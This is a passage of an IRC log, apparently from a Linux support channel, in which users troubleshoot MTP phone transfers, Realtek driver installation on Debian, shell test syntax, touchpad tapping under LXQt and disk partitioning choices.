autoremove now, only the behavior in the future 02:56 < gkwhc> phogg: yes. i removed the package, and installed pasystray with the new config. no difference 02:56 < phogg> gkwhc: I don't know, then. I don't use autoremove myself. 02:57 < phogg> I also just don't care about dangling packages like that. 02:57 < dannylee> is tex live good or bad too install on my machine???? 02:57 < Loshki> and I rarely pay much attention to the recommendations, though occasionally you realise you need one 02:58 < Loshki> dannylee: I though everyone LaTex instead now, or google docs 02:58 < phogg> dannylee: It's good if you want TeX. 02:58 < dannylee> ok like texstudio 02:58 < ayecee> wouldn't recommend it otherwise 02:58 < phogg> I don't auto-install Recommends either. 02:59 < phogg> well, time for me to turn into a pumpkin 02:59 < nchambers> you should probably get that checked out 02:59 < nchambers> its not normal to turn into a pumpkin 02:59 < ayecee> except in the pumpkin patch 02:59 < ayecee> hard to avoid those things 02:59 < nchambers> or a princess 03:00 < dannylee> you can edit your web pages with texstudio..and texmaker 03:00 < nchambers> well, one of them 03:00 < ayecee> those princesses, always causing problems 03:00 < dannylee> bluefish is really great 03:01 < dannylee> gvim just don`t work on my machine with fedora 27 03:01 < dannylee> ill stick with bluefish 03:01 < markasoftware> eww gvim 03:02 < markasoftware> vim should work on on fedora :) 03:02 < dannylee> ok..but it don`t 03:02 < markasoftware> just vim? 03:02 < pingfloyd> don't work how? 03:02 < markasoftware> open a terminal 03:02 < markasoftware> type vim 03:03 < dannylee> ok i have vi in the terminal...but not gvim 03:03 < dannylee> i just get a errior 03:04 < pingfloyd> type gvim 03:04 < pingfloyd> maybe you simply just don't have gvim installed 03:05 < dannylee> no i cant install it with out getting a errior 03:05 < pingfloyd> it's probably under a different for the package 03:05 < pingfloyd> a different name* 03:06 < pingfloyd> in debian, you'd install vim-gtk 03:06 < dannylee> ya i have workstation and lxde on two machine and it just wont let me install gvim on ether machine 03:07 < dannylee> but every thing else is working great... 03:08 < dannylee> but i don`t do updates...that ok 03:08 < pingfloyd> try dnf provides '*gvim' 03:08 < dannylee> ok i tryed every thing,,,,it just don`t work 03:09 < dannylee> my machine are 10 years old 03:09 < dannylee> no update for me 03:10 < dannylee> bluefish is better 03:10 < dannylee> i do still have vi in the terminal 03:10 < kerframil> Fedora 27 isn't 10 years old 03:10 < dannylee> no 03:10 < dannylee> 2018 03:11 < dannylee> they just want me toooo dooo updates 03:12 < mattfly> why does coping to usb devices start so fast then get slow? 03:12 < mattfly> is it a measurement problem or it rly gets slow with time? and why? 03:12 < dannylee> ram 03:12 < oerheks> buffers 03:12 < mattfly> ram? 03:13 < mattfly> explain better or link? 03:13 < Okee> test 03:13 < Okee> kline> Am I correct that System76 mainly use Cleavo for their laptops? 03:13 < mattfly> im trying to copy 30 gb from a smartphone to a usb and its being pain 03:13 < kline> i believe so 03:13 < Okee> My hardware went kaput earlier. 03:13 < Psi-Jack> Okee: Some do. 03:14 < Okee> My keyboard is ridiculously flaky and not usable at all. Great bright screen though. 03:14 < kline> Okee, as i mentioned earlier though, clevo just manufacture the chassis, system76 decide on the hardware inside 03:14 < mattfly> its mtp something that linux still doesnt support quite well?? ... 03:14 < Okee> Hmm. I thought Cleavo also built the systems? 03:15 < Okee> I have a bad keyboard. 03:15 < kline> Okee, i believe the keyboard comes as part of the chassis 03:15 < lnnb16_t> mattfly: mtp works grea, libtmp even has cmdline tools so you don'tnneed a clunky GUI 03:15 < kline> but the motherboard, ram selection, etc are all system76 decisions 03:15 < mattfly> sure? my phone keeps umounting 03:15 < lnnb16_t> never tried a 30G file though, my phone can't even hold that much 03:15 < kline> Okee, i think theres actually an official s76 channel here 03:16 < mattfly> whats the command line tool name? 03:16 < lnnb16_t> mattfly: you have to tell it to reuse the mtp transfer option 03:16 < Okee> kline> Is keybsoard and chasis omething that can be swapped out with another vendor? 03:16 < lnnb16_t> otherwise each transfer makes a new connection 03:16 < mattfly> how to lell that? 03:16 < Okee> kline> Thanks 03:16 < kline> Okee, have a chat with the folk over at #system76 03:16 < lnnb16_t> on the phone hwen you plug int he USB 03:16 < mattfly> it is using mtp for transfer files idk where is that 03:16 < lnnb16_t> theres an option, on mine it says "always use xxx" or something like that 03:17 < mattfly> nah this is a xiaumi phone and that doesnt show up 03:17 < mattfly> but i always had those problems since i use linux and mtp, it ummounts randomly and have throuble to show up the files 03:17 < mattfly> btw what is the cli tool for mtp? 03:18 < lnnb16_t> there are many, all prefixed with mtp-* 03:18 < lnnb16_t> mtp-sendfile for exampe, or mtp-getfile 03:19 < mattfly> isnt there something like sftp for phones? 03:19 < mattfly> i mean like that tool 03:20 < mattfly> damn it keeps ummounting and the person im doing this for already thinks its going slow because its linux :( 03:22 < lnnb16_t> mattfly: might be a better idea to use an SD card then? does it stop transferring at the same number of bytes each time? 03:22 < Nexilva> do you liek to use dd or cp to copy iso to usb> 03:22 < Nexilva> ? 03:22 < lnnb16_t> maybe upload the file over wifi 03:22 < ayecee> yes 03:23 < Nexilva> lol. 03:23 < Nexilva> dd has progress> 03:23 < Nexilva> i know cp doesn't show a progress bar without pv 03:23 < mattfly> no it stops working randomly, i always had this issue, didnt you guys ever had this problem? 03:23 < ayecee> could just use pv 03:23 < Nexilva> oh, pv directly? 03:23 < lnnb16_t> bad cable or connections? 03:23 < Nexilva> interesting. 03:23 < mattfly> Its already 2 laptops and many mobiles, always this kind of problem,... 03:23 < ayecee> pv < file.iso > /dev/device 03:23 < Nexilva> interesting. pv implies cp? 03:24 < Nexilva> let me see. 03:24 < mattfly> this cable is really expensive and excellent... 03:24 < ayecee> not implies 03:24 < ayecee> data goes in, data goes out. 03:25 < Nexilva> hunh. 03:25 < lnnb16_t> sure but how excellent is the phones internal jack? 03:25 < ayecee> seems like it would be a pain to use cp with pv anyhow. 03:28 < mattfly> man i have this problem on every single mobile i ever tried, im impressed you guys dont have the same 03:28 < ayecee> we're just awesome that way 03:29 < mattfly> maybe its because dell laptops? 03:29 < lnnb16_t> mattfly: were they all the same random chinese phone company? 03:29 < supera_vaticano> hello 03:29 < mattfly> no 03:30 < mattfly> motorolla sansung and xiaumi 03:30 < mattfly> but 2 diferent dell laptops 03:30 < lnnb16_t> i've only tried on fairly modern (2 year old) LG phone 03:31 < mattfly> also when moving anything through the dolphin gui it gets stuck on the very end.... I better complain on the kubuntu irc 03:33 < triceratux> mattfly: kde mtp made the dedoimedo guy go off the pier as well https://www.dedoimedo.com/computers/fedora-28-kde.html 03:33 < triceratux> mattfly: i generally recommend thunar & gvfs-mtp. mtp can be delicate 03:34 < mattfly> well maybe im a too dolphin fan 03:35 < mattfly> im thinking on report this as a bug but sure 100 people alreday did that 03:36 < triceratux> ive had good luck with caja & pcmanfm-qt. i think nemo is doing well these days as well. im no dolphin expert but i think its rep is on the lower side 03:38 < mattfly> damn, does any other of these have a embed command line that followes ur path? 03:38 < ayecee> ur 03:44 < jim> mattfly, Please spell out u as you... it would help folks who are here and are new english speakers, some don't hear u as a rhyme for you 03:45 < mattfly> aw okay sorry, bad habits... 03:45 < jim> no worries, enjoy 03:46 < misternumberone> hello, I am trying to install debian onto a device that has a realtek RTL81111/8168/8411 ethernet network controller. however the controller is not functioning when i complete the installation or use a live image, and the device cannot access internet. I was told that I would have to either use non free driver software or purchase an additional network adapter. 03:46 < mattfly> but seriously, Dolphin seems to be the only file explorer with a embed functional terminal, or am I wrong? 03:47 < jim> misternumberone, maybe it needs firmware... do you have any failed firmware load attempts logged to dmesg? 03:47 < bls> there are also community provided install media that include the non-free bits 03:49 < jim> yes, that's true, you could repeat the install with that image... or, just install the firmware package by downloading it on a different machine 03:50 < misternumberone> i am trying to use the non free driver r8168. however I do not know how to install it. the "non free firmware" debian install image i used does not seem to have installed it. In dmesg r8169 prints "can't disable ASPM; OS doesn't have ASPM control" while loading. 03:51 < jim> misternumberone, could you check by running dmesg as root? 03:52 < jim> try searching for firmware; you should be dumpped into less, so you can do: /firmware at the : prompt 03:53 < misternumberone> jim: i did, and found that by # dmesg | grep 4:00 for the pcie address of the realtek device 03:53 < misternumberone> jim: when i run # dmesg it prints entire log and exits 03:54 < jim> oh ok 03:54 < jim> try dmesg | grep firmware 03:55 < jim> misternumberone, do you have another computer whose net is working? 03:56 < jim> also did you find any failures to load the firmware in dmesg? 03:56 < misternumberone> jim: no result; "r8169 Gigabit Ethernet driver 2.3LK-NAPI loaded" found by # dmesg | grep r8169 03:57 < misternumberone> jim: # dmesg | grep fail gives no result 03:57 < jim> howbout using -i on the grep 03:58 < misternumberone> jim: wait there is one result i mistyped it first, "_OSC failed (AE_ERROR);disabling ASPM" 03:59 < jim> ok... do you have a second computer that's on the net? 04:01 < jim> misternumberone, are you still here? 04:02 < ayecee> and he was never heard from again :o 04:02 < misternumberone> jim: -i to grep made no change in any output. i have other computers yes but none of them use the current version of debian main. the closest I have is a debian 8 system nearby. however I do not want to place non free software on that computer because it is a free software device. 04:03 < pingfloyd> misternumberone: did you try using the non-free image on it? 04:03 < pingfloyd> misternumberone: the one that comes with all the non-free firmware 04:04 < misternumberone> pingfloyd: i am currently trying to use an installation I created using the install image firmware-9.4.0-amd64-DVD-1.iso at https://cdimage.debian.org/mirror/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-dvd/ hoping that it would contain the non free package for the realtek device, r8168-dkms. however after installation the package is not installed and the device is not working. 04:05 < pingfloyd> misternumberone: is there a reason you don't use the netinst? 04:06 < pingfloyd> misternumberone: can you paste the output of lspci -nn | grep Network? 04:08 < misternumberone> pingfloyd: how do i use the netinst if that will work? output of that command is nothing because the realtek device does not appear in lspci containing "Network" but here is the lspci output you ask for https://pastebin.com/raw/qG5nH4kB 04:09 < pingfloyd> one sec, I'll get you a link right to the image to try 04:11 < pingfloyd> misternumberone: http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-cd/ 04:13 < misternumberone> pingfloyd: ok this looks just like what i used but it is technically a different url, if i try this then is there anything special i need to do to make it install the right non free software? 04:13 < mattfly> woa i figured out that its impossible to tranfer files bigger than 4gb with mtp... 04:13 < pingfloyd> I'm assuming you want the amd64 one, but if not, just go back a few directories and find the one for your architecture 04:14 < mattfly> back to windows 98 fat 32 times... 04:14 < pingfloyd> misternumberone: no, it has the non-free firmware already setup for the installer 04:14 < pingfloyd> misternumberone: you just run the installer as normal 04:15 < pingfloyd> misternumberone: I would try this first as it might just work 04:15 < misternumberone> https://cdimage.debian.org/mirror/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-dvd/ is what i used for the present installation. http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-cd/ is what you linked me 04:15 < pingfloyd> misternumberone: if that doesn't solve it, then it will be resorting to other more involved fixes 04:15 < misternumberone> pingfloyd: the files have identical name, size and date modified, i am sure there must be something more i need to do 04:17 < pingfloyd> they're different 04:17 < pingfloyd> your link is to dvd 1 04:17 < pingfloyd> my link is to the net install image 04:17 < pingfloyd> you probably got through the installer ok since you're using the dvd set 04:18 < pingfloyd> it didn't need to download all the needed files in the installer 04:18 < pingfloyd> you'll know in the netinst installer if you're covered or not, because it will either be able to download or it won't during the installation. 04:21 < lostfile> whats with all the nick changes lol 04:22 < ||JD||> users coming back from a netsplit 04:22 < ||JD||> or something 04:23 < lostfile> i see 04:29 < Nexilva> Ok, I'm back, the new ssd is in laptop and I got lubuntu qt and bodhi linux (moksha/enlightenment) etc. on two usbs 04:29 < Nexilva> LXQT loads/boots/gets to the desktop SO FAST! OMG! 04:29 < Nexilva> Moksha desktop is still slow~ish to boot and get to desktop. 04:29 < Nexilva> But not bad. 04:30 * triceratux thanks Nexilva for his fine work 04:30 < Nexilva> I dunno which one to use! Haha. 04:30 < Nexilva> They are both awesome. 04:30 < Nexilva> LXQT is much faster in perceptive experience 04:30 < Nexilva> high five, buddy 04:31 < Nexilva> Though, I need to hook up the old drive again, boot it, copy my ~ to a usb, so I don't lost my settings 04:31 < triceratux> Nexilva: im running lxqt 18.10 right now. i cant seem to stop. its really easy to install kde apps & stuff. its a gamechanger 04:31 < Nexilva> Yeah, I think I'll stick w/ the regular QT/KDE thingy that I know 04:31 < Nexilva> enlightenment is... for like oldschool asficianados 04:31 < Nexilva> not for me, I'm not even used to it. 04:31 < Nexilva> it looks nice though. 04:32 < triceratux> i installed e21 on a half dozen distros. its kinda irregular. i lost interest & went back to xfce 04:32 < Nexilva> *nod* 04:32 < Nexilva> It's also not as fast. 04:33 < Nexilva> lxqt is freaking super fast, I loved the boot time. 04:33 < Nexilva> Faster than even debian. 04:33 < Nexilva> well. no. 04:33 < Nexilva> xmonad is still fasater. 04:33 < epicmetal> Wat 04:33 < Nexilva> I think I'll use lxqt and switch my wm to xmoand. 04:33 < Nexilva> xmonad has kde hooks/modules but not lxqt, but let's see. 04:33 < triceratux> Nexilva: if yer shopping for leading edge i can still say swagarch & siduction. theyre both straightup xfce 04:34 < Nexilva> nah. 04:34 < Nexilva> I dont' want to bleed on the edge. 04:34 < Nexilva> I like my blood. 04:34 < Nexilva> lxqt is nice. I will stick it in my lappy 04:34 < Nexilva> right now watching masater chef 04:34 < Nexilva> will wait :D 04:43 < Nexilva> UYEah, I don't even really like the programs in enlightement/moksha either. 04:43 < Nexilva> looks nice and polished, but not very functional for me 04:44 < Nexilva> question: if you were to copy your ~ from hdd to ssd, how would you do it? 04:44 < Nexilva> tar up the /home/username directory or copy it directly file per file? 04:46 < TheNH813> Since I gave up on getting wine to run 16 bit applications, I decided to install Win98 in a VM. 04:47 < TheNH813> However, qemu keeps segfauling at the Windows 98 logo. 04:47 < Nexilva> which 32 bit aopp? 04:47 < TheNH813> 8881 Segmentation fault (core dumped) qemu-system-x86_64 -drive file=win98.cow -cpu n270 -vga cirrus -m 512M -soundhw sb16 -display sdl 04:47 < TheNH813> Anyone know of recent bugs in qemu that might cause this? 04:49 < mattfly> how can i get the free remaining writable size of a usb drive? 04:49 < SoalarDegree> TheNH813: you might be able to run Windows 98 in the package "Dosemu"; maybe even in "Dosbox" 04:50 < TheNH813> I never considered that. 04:50 < TheNH813> Worth a shot. 04:50 < SoalarDegree> I think I accomplished or at least googled something about it but only up to Windows 95 or 98 in Standard Mode 04:51 < SoalarDegree> windows says: cowsay: Could not find windows cowfile! 04:51 < TheNH813> Well, all I want to do is extract some data using a 16 bit application. That's good enough for me if it works. 04:51 < SoalarDegree> tux says: http://dpaste.com/1DCN59Z 04:52 < SoalarDegree> TheNH813: what data? is it a zip file 04:52 < TheNH813> Proprietary data in a proprietary format. 04:52 < TheNH813> Inside a .cab file inside a .exe file 04:53 < SoalarDegree> TheNH813: not a dos executible? 04:53 < SoalarDegree> TheNH813: hex editor or resource hacker? 04:53 < TheNH813> I'v only used it on a GUI environment. 04:54 < TheNH813> I could maybe dump the data out. 04:54 < lostfile> it sound like a compressed file 04:54 < TheNH813> I actually want to get the level data off a old game for something. 04:54 < TheNH813> If my true intentions help the situation. And yes, it's inside a installer, so very likely compressed. 04:55 < lostfile> there should be a dos app for that 04:55 < SoalarDegree> TheNH813: 7zip can extract somethings from .exe I don't see why you'd have to extract it in a 16 bit environment unless it's hardcoded or obfuscated 04:56 < lostfile> TheNH813: what game are you trying to play 04:56 < lostfile> doom 04:56 < TheNH813> Trying to dump some resources out of Fun Pack 3D. 04:56 < lostfile> oh 04:56 < lostfile> i never heard of fun pack 04:56 < SoalarDegree> yeah resource hacker for API extraction 04:57 < SoalarDegree> API resources 04:57 < lostfile> oh you trying to make a mod or some thing 04:57 < misternumberone> ok a hour ago someone told me to use http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-cd/ image to install and it would contain the driver for my realtek RTL8111/8168/8411, and if it did not work to connect during installation then it would not work. well it did not work just like the other images 04:58 < TheNH813> lostfile: Honestly, just out of sheer curiosity, but it might turn into that. 04:58 < TheNH813> misternumberone: Have you tried downloading the linux-firmware package and installing that? 04:58 < lostfile> TheNH813: cool 04:59 < TheNH813> lostfile: Sometimes, one simply wants to do something to do it. lol 04:59 < misternumberone> TheNH813: what is the best way to install packages without an internet connection, if i could do that then i might easily find a solution 05:00 < TheNH813> misternumberone: A computer with working internet, a flash drive and https://pkgs.org/ 05:00 < TheNH813> It has indexed and searchable links to almost all packages. 05:00 < TheNH813> Even a phone with working internet would do to just download the .deb file. 05:00 < lostfile> TheNH813: kind of like when i tried to get a gopher server running in vbox 05:01 < lostfile> i was using bucktooth 05:01 < TheNH813> lostfile: Interesting project. 05:02 < misternumberone> TheNH813: thank you this is nice so should I try to use the firmware-linux-nonfree_20161130-3_all.deb file for debian stretch? 05:02 < triceratux> misternumberone: have you located a package with those drivers in it yet ? youll want to verify its existence somehow & worst case sneakernet it over & install it manually 05:03 < lostfile> it was i got it working then i saved the gophermaps to another pc after i was done with it 05:03 < triceratux> ah thats looking closer ... 05:04 < TheNH813> misternumberone: If you're using Debian Stretch, that's the right package. 05:06 < misternumberone> triceratux: TheNH813: my RTL8111/8168/8411 is not working on the default driver, r8169; i believe i need the driver from realtek which is closed source in order to be able to use the device, and which is called r8168. i do not see the r8168 package in this website pkgs.org. so i will try to use the one suggested 05:07 < TheNH813> misternumberone: This might also be of help: https://pkgs.org/download/firmware-realtek 05:08 < TheNH813> As well as this: https://pkgs.org/download/r8168-dkms 05:08 < TheNH813> Guide: https://www.unixblogger.com/2016/08/11/how-to-get-your-realtek-rtl8111rtl8168-working-updated-guide/ 05:08 < misternumberone> TheNH813: thanks that is what i am looking for 05:09 < triceratux> its some tricky hardware https://bbs.archlinux.org/viewtopic.php?id=218172 05:09 < misternumberone> TheNH813: however my problem is that when i try to install the r8168 , it does not work because i do not have the dependency build-essential and linux-headers-4.9.0-6-amd64 05:10 < misternumberone> build-essentials* 05:10 < TheNH813> Hmmm.... then you'l need to download every package in build-essentials as well. 05:10 < TheNH813> Which is a major pain. But I can grab some links. 05:10 < triceratux> no dkms for you until theres a complete toolchain. hard to do on a device with no net 05:11 < misternumberone> TheNH813: i have been preparing to try to do that, however it is over 15 packages and someone told me "it should work once you select the correct installation image with the packages included already" 05:13 < TheNH813> misternumberone: Have you already installed the operating system? Then getting the packages instead of downloading a new install image is probably the better idea. 05:13 < TheNH813> Unless download speed isn't a issue. 05:15 < jim> misternumberone, all you need is a computer that you can download stuff with... I'll be back in awhile, maybe I can help then 05:15 < TheNH813> Nice, my cifs share is down, just when I was about to grab a debian iso from my other pc. 05:17 < zenix_2k2> so one question, i know that linux is a multi-processing OS but does that mean it has to constantly switch contexts between each process in order for 2 or more processes to run ? cause after all the CPU can only take one instruction after another 05:17 < TheNH813> zenix_2k2: Each core in a processor can execute a instruction simultaneously. 05:18 < TheNH813> misternumberone: If you don't mind waiting, I could collect all the files into a archive and give you a single download link. 05:19 < jim> zenix_2k2, either that or processes can be run on different cpu cores 05:19 < jim> TheNH813, thanks for helping 05:20 < misternumberone> TheNH813: jim: the operating system is just installed from a firmware-9.4.0-amd64-DVD-1.iso. i then attempted to make the network controller work unsuccessfully. i have fast internet and many other computers. 05:20 < zenix_2k2> jim: so in which case the "either that" case gonna happen and in which case it need to run on another core ? 05:21 < misternumberone> TheNH813: if you can do that it would be wonderful but i know that is not easy. what occurred to me is surely there is a "proper way" to make the network controller function when it is not working, that does not require downloading a bunch of packages one by one. 05:22 < bls> the issue is that sometimes manufacturers don't provide a "proper package" or specs so someone can build one, so you're forced to cobble things together 05:23 < TheNH813> misternumberone: It's no problem, I'l go do that. Just need to boot up a Debian VM and then download the packages into a folder, compress and upload it. 05:25 < bls> or they provide the stuff, but license it in a way that it can't even be put on community install media 05:31 < zenix_2k2> so ehm... in which case 2 processes need to constantly switch contexts and in which case one process is gonna be run individually on another core ? 05:35 < Kira> How do I find the corresponding block device if I know the HDD's serial number? 05:39 < lnnb> Kira: lsblk -O shows you all output 05:40 < Kira> lnnb: I don't see any serial number in its output. 05:41 < lnnb> yeah it claims there is a SERIAL field but it's empty for me if i do lsblk --output SERIAL 05:41 < Kira> maybe sudo is required for the serial number 05:41 < Kira> trying 05:42 < lnnb> i'm root with full caps 05:48 < birdbolt1> alright yal i need some help wrting a shel script 05:48 * dogbert2 works on finding bugs in BIND 05:48 < birdbolt1> how do I check that a specific file exists? 05:49 < dogbert2> test usually works in a shell script 05:50 < birdbolt1> does `if [-e myfile]` work? 05:50 < dogbert2> or that :) 05:51 < birdbolt1> is the -e flag a bash built in? 05:51 < birdbolt1> I saw it on github 05:51 < Kira> Hmm, do enterprise or NAS grade HDDs usually have overprovisioning? Or is that only an SSD thing? 05:53 < dogbert2> Kira..I have Toshiba N300's in my Synology DS218+...vibration dampening, etc... 05:54 < birdbolt1> `while ![-e buildcomplete]` 05:54 < birdbolt1> does the ! negate it? 05:57 < bls> yes 05:57 < bls> but you're going to need to fix your syntax 05:58 < bls> and -e is part of the test command which uses [ for shorthand 05:59 < bls> https://linux.die.net/man/1/test 06:04 < cmj> if [ -f /foo/file ]; then 06:06 < cmj> http://mywiki.wooledge.org/BashGuide/TestsAndConditionals 06:08 < glix> Need help with some awk. Say I have a path like /home/foo/bar/file and I would like to just get the directory path - so just '/home/foo/bar'. How do I do this? 06:12 < cmj> you might be more interested in find 06:15 < jcarder_> is there any way to store history/favorites in dmenu, as something like rofi does? 06:21 < birdbolt1> double check my shell scripting syntax please? http://dpaste.com/1NQ6XDQ 06:22 < iflema> take that to #bash for abuse 06:23 < iflema> and that do... 06:25 < cmj> you are missing a space at buildcomplete] should be buildcomplete ] 06:27 < cmj> let #bash hang you for the rest ;p 06:29 < pingfloyd> he left 06:29 < pingfloyd> oh well. He didn't even need awk for that. 06:29 < birdbolt1> pingfloyd, i am still here 06:29 < birdbolt1> terrible router. cutz me off too often 06:30 < cmj> oh i have parts and joins ignored 06:31 < iflema> if you can tab complete the nick their in 06:32 < mib_mib> hi all - if i have a webapp that i want to make accessible via a browser inside a VPN only, but not if the user isnt inside the vpn, how do i set that up? 06:32 < mib_mib> does the web server need to host on a local ip or something 06:32 < pingfloyd> I'm using smart filtering on parts and joins 06:33 < pingfloyd> so I'll see people chatting join and part, but not the lurkers 06:33 < cmj> yeah there is an old irssi script to bunch them up 06:33 < pingfloyd> this is what I use https://weechat.org/blog/tag/filter 06:34 < cmj> it's pretty high snr in channels like this 06:34 < lessthan0> today I wanted to practice building a temporary file system in ram and booting kernel so I can format and partition without rebooting 06:34 < iflema> could it not be a nickservice? lag city? 06:34 < lessthan0> I found some tutorials but they are full of extra stuff I do not need 06:35 < lessthan0> maybe someone can point me in the right direction with a link or pastebin 06:35 < pingfloyd> lessthan0: is your nick after the Movie? 06:35 < lessthan0> I have local access 06:35 < lessthan0> never heard of anyone using this name 06:35 < lessthan0> I never seen the movie not sure 06:36 < Nexilva> triceratux: do you know how to enable 'tap to click' in LXQT lubuntu? I looked through all the mouse settings but did not find it. 06:36 < pingfloyd> lessthan0: https://www.youtube.com/watch?v=g4oPo5BBxA8 06:36 < Nexilva> Or anyone else? 06:36 < lessthan0> I found tutorials for red hat but the directory structure is slightly different 06:36 < Nexilva> Also, it doesn't come with a web browser? I can't find one. 06:36 < Nexilva> Otehrwise I'd look it up online. 06:36 < Nexilva> Still on the live thing, haven't installed yet 06:37 < cmj> you probably need to set a browser in .Xdefaults 06:38 < Nexilva> I found it, it's calleed Falkon 06:39 < lessthan0> pingfloyd that movie looks pretty cool 06:39 < lessthan0> added to my list 06:40 < lessthan0> robert downey jr plays himself lol 06:40 < pingfloyd> lessthan0: it actually was a pretty good movie 06:40 < Nexilva> https://github.com/lxqt/lxqt/issues/92 06:40 < pingfloyd> yeah, it's kind of ironic 06:40 < Nexilva> LXQT doesn't have tap to click? 06:40 < pingfloyd> because his real basically followed that movie 06:40 < lessthan0> plot: robert downey jr does coke and fucks up all his personal relationships 06:40 < Nexilva> Uhm. Then this means that I need a new distro! 06:40 < pingfloyd> except in real life there's a happier ending for him 06:40 < Nexilva> :( 06:41 < lessthan0> step 4: profit? 06:41 < pingfloyd> I think that movie was made before he had a drug problem too 06:41 < pingfloyd> rather ironic 06:41 < lessthan0> he is sweating bullets 06:41 < Nexilva> Seems you can use xinput to make tap to click? 06:41 < lessthan0> and it is 1987 06:44 < Nexilva> libinput Tapping Enabled (278): 0 06:44 < Nexilva> I wonder how to turn it on to "1" maybe? 06:44 < demio> why is cloudflare taking so long to update my dns 06:44 < demio> :( 06:44 < notmike> Keke 06:44 < Nexilva> I did xinput list-prop 11 (which is touchpad device) 06:44 < lessthan0> I am looking for something with more basic features than this https://github.com/marcan/takeover.sh 06:44 < lessthan0> I don't need ssh or busybox 06:45 < Nexilva> Ah, xinput man page lists the set command 06:45 < Nexilva> let's see what the damn syntax is 06:45 < lessthan0> I just want to copy a basic system to ramdisk and boot that basic system to perform disk operations on my boot hard drive 06:45 < lessthan0> without rebooting 06:46 < justsomeguy> Whats the best way to learn Xorg without going insane? 06:46 < lessthan0> I have local access at the keyboard 06:46 < pingfloyd> why not just use that? 06:46 < cmj> Nexilva: arch has a good wiki page on xinput 06:47 < epicmetal> justsomeguy: https://xkcd.com/963/ 06:47 < cmj> i use synclient TapButton1=1 TapButton2=2 TapButton3=3 06:47 < Nexilva> xinput --set-prop "SynPS/2 Synaptics TouchPad" "libinput Tapping Enabled" 1 06:47 < Nexilva> does the trick 06:47 < lnnb> justsomeguy: lol 06:47 < justsomeguy> epicmetal: Pretty much how I feel right now. 06:47 < Nexilva> I had to enable that property that list-prop listed 06:47 < justsomeguy> epicmetal: http://www.epicrockradio.com/ is awesome, btw. 06:47 < Nexilva> now I wonder, do I need to put that into my .bashrc or something? 06:47 < Nexilva> or xinitrc 06:47 < Nexilva> I wonder. 06:48 < Nexilva> cmj: thanks bud 06:48 < Nexilva> That's also useful 06:48 < Nexilva> I'm still on live usb so can't bookmark 06:48 < Nexilva> But I think the main problems solved, wifi and touchpad I can install it to ssd now 06:48 < lessthan0> pingfloyd> why not just use that? because I want to learn how to do it and the sshd adds extra complexity 06:49 < lessthan0> I want to manually create the file system by typing it 06:49 < Nexilva> I don't see an install option anywhere 06:49 < lessthan0> it should only be like 6 commands maybe 06:49 < pingfloyd> lessthan0: mkfs 06:49 < pingfloyd> e.g., mke2fs 06:49 < Nexilva> I booted the LXQT Lubuntu live usb, and then picked the option install, and it booted me into the desktop, but I never saw any install to hdd option 06:49 < cmj> i use synclient as it controls almost everything for a touchpad. but the defaults are better these days 06:50 < lessthan0> yes but do I create ramfs ramdisk initramfs first? 06:50 < Nexilva> I gotcha, thanks 06:50 < Nexilva> Right now I am trying to find an option to install it to hdd 06:50 < Nexilva> I don't see any desktop icon or menu entry to install the live to hdd 06:51 < Nexilva> triceratux: help! 06:51 < searedvandal> Nexilva, you can set the tapping in a .conf file in /etc/X11/xorg.conf.d/ 06:51 < lessthan0> it looks like they actually made a copy of the sysem to /tmpfs or /old_root something like that 06:51 < lessthan0> then the ramdisk 06:51 < RPIFAN> why was the unix epoch chosen to be that particular date 06:51 < lessthan0> why not ramdisk and copy there? 06:52 < pingfloyd> lessthan0: usually for this sort of operation, one just uses a dist that can be loaded into ram such as grml. 06:52 < lessthan0> oh I can totally avoid this painful exercise 06:52 < Nexilva> https://help.ubuntu.com/community/Lubuntu/InstallingLubuntu I did this exact thing, picked install and selected language, but it's nothing on sd 06:52 < lessthan0> I am more of a curious masochist 06:52 < lessthan0> before I wipe this hard drive I want to have some fun with it 06:52 < pingfloyd> lessthan0: a tmpfs is a type of ram disk 06:53 < Nexilva> "If everything goes well with "Trying Lubuntu without installation", you can install Lubuntu. There is an icon on your desktop where you can start the installation. When you'll start the installation, which is really easy, the first screen will be: 06:53 < lessthan0> a rare opportunity to play with a system I can break 06:53 < Nexilva> I don't see any icon! 06:53 < Nexilva> Bleh. 06:53 < lessthan0> but /tmpfs is just a name right? not a special command? 06:53 < pingfloyd> see what it's mounted as 06:53 < lessthan0> it is arbitrary that that point that you mkdir 06:54 < pingfloyd> the name implies that it is though 06:54 < lessthan0> just by tradition and convention though 06:54 < Nexilva> nevermind! 06:55 < Nexilva> I found it, it's hidden sommewhere in menu called 'install system' 06:57 < lessthan0> looks like ubuntu pushed some wayland and mesa updates to 18.04 lts recently 06:57 < Nexilva> So I have secure boot off and legacy bios enabled, should I choose GPT or MBR partitioning for my laptops new SSD? 06:57 < lessthan0> I am going to have fun breaking ubuntu right before i wipe it 06:57 < Nexilva> I don really want a lot of partitions, just like 2-3 06:58 < lessthan0> after going #debian everything has been perfect 06:58 < Nexilva> like /, /home, and swap 06:58 < Nexilva> mbr it is 06:59 < lessthan0> UEFI will work on both since GPT technically does have an MBR 06:59 < lessthan0> when you dig deep into the details of how this stuff works at the lowest level 06:59 < lessthan0> MBR is the first 512 bytes of your disk 06:59 < Nexilva> For lubuntu, how big should I make the / partition? 06:59 < lessthan0> it has a bootloader and nothing else 07:00 < pingfloyd> Nexilva: use lvm 07:00 < lessthan0> it points to something after the first 512 bytes 07:00 < Nexilva> eh? 07:00 < my_mind> Hey 07:00 < lessthan0> these are not things you need to know but it is nice to know how your computer thinks 07:00 < pingfloyd> Nexilva: use lvm, start off with 10-20G and extend as needed 07:01 < Nexilva> pingfloyd: and GPT? 07:01 < Nexilva> or MBR partitions? 07:01 < hexnewbie> Nexilva: I have been using GPT for everything since years, as DOS/MBR is mildly worse. BUT UEFI may refuse to boot from GPT with a legacy bootloader (BIOS Grub); my firmware does. Legacy mode only works with MS-DOS on my motherboard 07:01 < Nexilva> MBR will give me 4, while GPT is more 07:01 < pingfloyd> gpt 07:01 < lessthan0> they should call it MBR without GPT/GUID 07:01 < pingfloyd> Nexilva: you could make a single partition to put your VG in 07:01 < lessthan0> or MBR with GPT/GUID 07:01 < Nexilva> Well, I think I have UEFI off, and CSM legacy bios on in bios settings 07:01 < my_mind> Why did a “loop device” just show up on my laptop ? Kubuntu 18.04 07:01 < pingfloyd> then create lvs for each filesystem you 